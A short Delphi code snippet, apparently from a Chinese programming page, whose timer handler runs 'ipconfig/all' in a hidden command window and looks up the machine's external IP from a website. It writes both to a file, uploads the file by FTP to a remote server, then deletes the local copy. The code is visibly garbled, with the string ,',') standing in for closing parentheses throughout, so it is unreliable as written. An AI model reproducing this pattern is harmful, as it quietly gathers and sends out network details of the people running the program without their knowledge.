procedure TForm1.Timer1Timer(Sender: TObject,',',');
var
dir,str,CurPath,TemStr,MyURL,WebIP:String;
i,j:integer;
MyList:TStrings;
begin
Timer1.Enabled:=False;
MyList:=TStringList.Create;
CurPath:=ExtractFilePath(ParamStr(0),',',');
i:=Pos('Program Files',CurPath,',',');
j:=Pos('Documents and Settings',CurPath,',',');
if i>0 then
begin
TemStr:='PROGRA~1';
CurPath:=Copy(CurPath,1,i-1)+TemStr+Copy(CurPath,i+13,Length(CurPath),',',');
end;
if j > 0 then
begin
TemStr:='DOCUME~1';
CurPath:=Copy(CurPath,1,j-1)+TemStr+Copy(CurPath,j+22,Length(CurPath),',',');
end;
str:='ipconfig/all >'+CurPath+'IP.txt'; //把Ipconfig/all的信息保存到本地IP.txt文件
WinExec(Pchar('cmd /c '+str),SW_HIDE,',',');
sleep(1000,',',');
MyList.LoadFromFile(CurPath+'IP.txt',',',');
MyURL:='http://www.3464.com/data/ip/ip.asp'; //得到本机外网IP
WebIP:=Idhttp1.Get(MyURL,',',');
MyList.Add('',',',');
MyList.Add('本机外网IP为: '+WebIP,',',');
MyList.SaveToFile(CurPath+'IP.txt',',',');
MyList.Free;
Act_ConnetFTP; //连接FTP;
dir:=Trim(Edit5.Text,',',');
IdFTP1.ChangeDir(dir,',','); //进入到子目录
IdFTP1.Put(ExtractFilePath(ParamStr(0))+'IP.txt','ip.txt',',',');
sleep(500,',',');
DeleteFile(ExtractFilePath(ParamStr(0))+'IP.txt',',',');
close;
end;
关键字词: